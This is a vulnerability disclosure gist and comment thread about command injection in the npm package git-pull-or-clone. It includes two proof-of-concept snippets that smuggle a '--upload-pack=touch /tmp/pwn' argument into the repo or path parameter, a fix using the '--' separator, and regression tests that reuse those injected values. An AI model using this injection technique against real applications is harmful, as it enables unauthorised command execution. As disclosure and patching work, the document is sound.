Command Injection vulnerability in git-clone-or-pull@2.0.1

git-clone-or-pull-command-injection.md

Command Injection vulnerability in git-clone-or-pull@2.0.1

`git-clone-or-pull` describes itself as a tool to ensure a git repo exists on disk and that it's up-to-date.

Resources:

- Project's GitHub source code: https://github.com/feross/git-pull-or-clone
- Project's npm package: https://npmjs.org/package/git-pull-or-clone

Background on exploitation

I'm reporting a Command Injection vulnerability in `git-clone-or-pull` npm package.

A use of the `--upload-pack` feature of git is also supported for `git clone`, and allows users to execute arbitrary commands on the OS.

The source includes the use of the secure child process API `spawn()` (see here: https://github.com/feross/git-pull-or-clone/blob/master/index.js#L28-L33) however the `outpath` parameter passed to it may be a command line argument to the `git clone` command and result in arbitrary command injection.

If users are in control either of the url (`url`) to clone, or the directory path (`outPath`) to clone it to then the vulnerability applies.

New exploit

Install `git-clone-or-pull@2.0.1` , which is the latest.

POC 1:

```
const gitPullOrClone = require('git-pull-or-clone')
const repo = 'file:///tmp/zero12345'
const path = '--upload-pack=touch /tmp/pwn3'
gitPullOrClone(repo, path, (err) => {
  if (err) throw err
  console.log('SUCCESS!')
})
```

Observe a new file created: `/tmp/pwn3`

POC 2:

```
const gitPullOrClone = require('git-pull-or-clone')
const repo = '--upload-pack=touch /tmp/pwn4'
const path = 'file:///tmp/zero12345'
gitPullOrClone(repo, path, (err) => {
  if (err) throw err
  console.log('SUCCESS!')
})
```

Observe a new file created: `/tmp/pwn4`

Author

Liran Tal

feross commented on Mar 28

@lirantal Thanks for the report. What's your current recommendation for escaping untrusted shell arguments in Node.js? Would you be willing to send a PR to fix this issue?

Also, one note:

> git-clone receives about 230,000 downloads a week so this report should probably be timely.

The `git-pull-or-clone` package has only 232 weekly downloads, not 230,000 downloads as stated.

Cheers,
Feross

lirantal commented on Mar 28 — Author

Hi buddy! Thanks for replying promptly on this. I'm happy to help on this and will suggest the following strategies to mitigate the issue:

1. By applying a little Unix foo, you can tell a program to stop parsing input as arguments to the program, and everything that comes after it is simply positional arguments. This is done using the double dash (`--`) notation, for example: `git clone -- <repo> <directory>` , in which case even if a user controls the value, it won't be treated as an argument to `git clone` .
2. Apply schema matching for expected data. For example, ensure that a repo is indeed input that complies with a supported schema, such as starting with `git@` or with `https://` as an example. You can also harden the input by checking that it indeed exists on disk before you pass that input to `git clone` .

I haven't prepared a fix in advance and being almost 11pm here it's not something I could establish prompt but will do my best to clear our some of the schedules between tomorrow and Thursday to send you a patch.

p.s. it seems like I have accidentally disclosed another module that is vulnerable to this and the team has been reaching out to them too so I appreciate it if you indeed don't share anything about that. I updated this gist to remove that mention. Thanks!

lirantal commented on Apr 1 — Author

Busy week on all fronts, Java and JavaScript! :D

Here's a patch for adding the relevant test cases and fixing the vulnerability per the above suggestion as pointed out in (1). You may choose to further harden it with ideas I shared in (2).

You can review the patch here and when you're good to be on stand-by for a quick merge and push a release I'd be happy to send a Pull Request over to the repo.

```
diff --git a/index.js b/index.js
index c38c84d..aa40114 100644
--- a/index.js
+++ b/index.js
@@ -28,7 +28,7 @@ function gitPullOrClone (url, outPath, opts, cb) {
   function gitClone () {
     // --depth implies --single-branch
     const flag = depth < Infinity ? '--depth=' + depth : '--single-branch'
-    const args = ['clone', flag, url, outPath]
```

```
+    const args = ['clone', flag, '--', url, outPath]
     debug('git ' + args.join(' '))
     spawn('git', args, {}, function (err) {
       if (err) err.message += ' (git clone) (' + url + ')'
diff --git a/test/basic.js b/test/basic.js
index 3e94f57..99c1b64 100644
--- a/test/basic.js
+++ b/test/basic.js
@@ -2,6 +2,7 @@ const gitPullOrClone = require('../')
 const path = require('path')
 const rimraf = require('rimraf')
 const test = require('tape')
+const fs = require('fs')
 const noop = () => {}

 const TMP_PATH = path.join(__dirname, '..', 'tmp')
@@ -41,3 +42,53 @@ test('git pull with invalid depth', (t) => {
     /The "depth" option must be greater than 0/
   )
 })
+
+test('git clone shouldnt allow command injection, via attack vector one', (t) => {
+  t.plan(2)
+
+  // clean up the tmp folder from prior tests
+  rimraf.sync(TMP_PATH)
+  // clone a repo into the tmp folder
+  gitPullOrClone(REPO_URL, OUT_PATH, (err) => {
+    t.error(err)
+  })
+
+  const OUT_TEST_FILE = '/tmp/pwn3'
+  const REPO_LOCAL_PATH = `file://${OUT_PATH}`
+  const OUT_PATH_INJECTION = `--upload-pack=touch ${OUT_TEST_FILE}`
+
+  console.log(REPO_LOCAL_PATH)
+
+  gitPullOrClone(REPO_LOCAL_PATH, OUT_PATH_INJECTION, () => {
+    const exploitSucceeded = !!fs.existsSync(OUT_TEST_FILE)
+    t.error(exploitSucceeded, `${OUT_TEST_FILE} should not exist, potential security
vulnerability detected`)
+
+    // cleanup the command injection test data
+    exploitSucceeded && rimraf.sync(OUT_TEST_FILE)
+  })
+})
+
+test('git clone shouldnt allow command injection, via attack vector two', (t) => {
+  t.plan(2)
+
+  // clean up the tmp folder from prior tests
+  rimraf.sync(TMP_PATH)
+  // clone a repo into the tmp folder
+  gitPullOrClone(REPO_URL, OUT_PATH, (err) => {
+    t.error(err)
+  })
```

```
+
+  const OUT_TEST_FILE = '/tmp/pwn4'
+  const OUT_PATH_INJECTION = `file://${OUT_PATH}`
+  const REPO_LOCAL_PATH = `--upload-pack=touch ${OUT_TEST_FILE}`
+
+  console.log(REPO_LOCAL_PATH)
+
+  gitPullOrClone(REPO_LOCAL_PATH, OUT_PATH_INJECTION, () => {
+    const exploitSucceeded = !!fs.existsSync(OUT_TEST_FILE)
+    t.error(exploitSucceeded, `${OUT_TEST_FILE} should not exist, potential security
vulnerability detected`)
+
+    // cleanup the command injection test data
+    exploitSucceeded && rimraf.sync(OUT_TEST_FILE)
+  })
+})
```